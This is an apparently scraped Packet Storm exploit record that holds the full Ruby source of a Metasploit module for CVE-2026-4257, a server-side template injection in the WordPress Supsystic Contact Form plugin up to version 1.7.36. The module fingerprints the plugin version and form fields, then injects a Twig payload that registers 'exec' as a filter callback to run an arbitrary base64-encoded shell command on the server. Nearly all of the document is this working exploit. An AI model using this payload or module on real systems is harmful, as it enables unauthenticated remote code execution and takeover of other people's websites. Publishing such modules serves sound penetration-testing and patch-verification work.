{“lastseen”:”2026-05-26T16:01:06″,”description”:”This Metasploit module is for WordPress Supsystic Contact Form plugin versions 1.7.36 and below. The plugin suffers from a server-side template injection vulnerability that allows for remote code execution…”,”published”:”2026-05-26T00:00:00″,”modified”:”2026-05-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress Supsystic Contact Form 1.7.36 Server-Side Template Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:221985″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-4257″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Supsystic Contact Form WordPress Plugin SSTI RCE’,\\n ‘Description’ =\\u003e %q{\\n This module performs SSTI achieving RCE in webpages containing the\\n Contact Form WordPress plugin by Supsystic in versions 1.7.36 and\\n before.\\n },\\n ‘Author’ =\\u003e [\\n ‘Azril Fathoni’, # Vulnerability Disclosure\\n ‘bootstrapbool \\u003cbootstrapbool[at]gmail.com\\u003e’, # Metasploit Module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Privileged’ =\\u003e false,\\n ‘Targets’ =\\u003e [\\n [\\n ‘Unix\/Linux Command Shell’,\\n {\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :unix_cmd\\n }\\n ],\\n [\\n ‘Windows Command Shell’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :win_cmd\\n }\\n ]\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-4257’],\\n [\\n ‘URL’, # Python Exploit\\n ‘https:\/\/github.com\/bootstrapbool\/cve-2026-4257’\\n ],\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2026-03-30’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n register_options(\\n [\\n OptString.new(‘FIELD’, [\\n false,\\n ‘Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.’\\n ]),\\n OptString.new(‘TARGETURI’, [true, ‘Filepath to the webpage containing the Contact Form. Ex: \/wordpress\/index.php\/sample-page\/’]),\\n ]\\n )\\n end\\n \\n def vulnerable?(version_str)\\n return Rex::Version.new(version_str) \\u003c= Rex::Version.new(‘1.7.36’)\\n end\\n \\n def get_version(body)\\n version_regex = \/suptablesui\\\\.min\\\\.css\\\\?ver=([0-9.]+)\/\\n match = version_regex.match(body)\\n \\n match ? match[1] : nil\\n end\\n \\n def get_fields(html)\\n pattern = \/data-name=\\”([^\\”]+)\\”\/\\n \\n field_names = html.scan(pattern).flatten.uniq\\n \\n if field_names.any?\\n print_good(\\”Found fields: #{field_names.join(‘, ‘)}\\”)\\n return field_names\\n else\\n print_warning(‘Failed to find fields.’)\\n return nil\\n end\\n end\\n \\n def handle_field\\n res = send_request_cgi({ ‘uri’ =\\u003e normalize_uri(target_uri) })\\n \\n unless res\\n fail_with(Failure::Unreachable, ‘Failed to receive a reply from server.’)\\n end\\n \\n unless res.code == 200\\n fail_with(Failure::UnexpectedReply, ‘Unexpected reply from server.’)\\n end\\n \\n fields = get_fields(res.body)\\n \\n if !fields.nil?\\n field = fields[0]\\n print_status(\\”Using detected field: #{field}\\”)\\n return field\\n end\\n \\n if field.nil\\n fail_with(Failure::NotFound, ‘Failed to resolve target field’)\\n end\\n end\\n \\n def send_payload(payload, field)\\n b64 = Rex::Text.encode_base64(payload.raw)\\n \\n payload = ‘{%set a%}UTF-8{%endset%}{%set b%}BASE64{%endset%}’ \\\\\\n + ‘{%set p%}’ + b64 + ‘{%endset%}’ \\\\\\n + ‘{%set p = p|convert_encoding((a), (b))%}’ \\\\\\n + ‘{%set e%}exec{%endset%}’ \\\\\\n + ‘{{_self.env.registerUndefinedFilterCallback(e|lower)}}’ \\\\\\n + ‘{{_self.env.getFilter(p)}}’\\n \\n params = { ‘cfsPreFill’ =\\u003e 1, field =\\u003e payload }\\n \\n # Fold any query the user baked into TARGETURI (e.g. page_id=2) into vars_get to avoid having two \\”?\\” characters\\n # denoting two separate query strings in the final URI, as one gets added from the TARGETURI and one from vars_get, which causes the payload to fail\\n if target_uri.query \\u0026\\u0026 !target_uri.query.empty?\\n target_uri.query.split(‘\\u0026’).each do |pair|\\n k, v = pair.split(‘=’, 2)\\n params[k] = v\\n end\\n end\\n \\n send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(target_uri.path),\\n ‘vars_get’ =\\u003e params\\n })\\n end\\n \\n def exploit\\n if datastore[‘FIELD’].nil?\\n field = handle_field\\n else\\n field = datastore[‘FIELD’]\\n end\\n \\n send_payload(payload, field)\\n end\\n \\n def check\\n res = send_request_cgi({ ‘uri’ =\\u003e normalize_uri(target_uri) })\\n \\n return CheckCode::Unknown unless res.code == 200\\n \\n version_str = get_version(res.body)\\n \\n if version_str.nil?\\n vprint_status(‘Failed to derive version’)\\n fields = get_fields(res.body)\\n return CheckCode::Detected unless fields.nil?\\n end\\n \\n if vulnerable?(version_str)\\n return CheckCode::Appears(\\”Detected version #{version_str}\\”)\\n end\\n \\n return CheckCode::Safe(\\”Detected version #{version_str}\\”)\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/221985″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/221985\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-26T16:01:06″,”description”:”This Metasploit module is for WordPress Supsystic Contact Form plugin versions 1.7.36 and below. The plugin suffers from a server-side template injection vulnerability that allows…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-56968","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n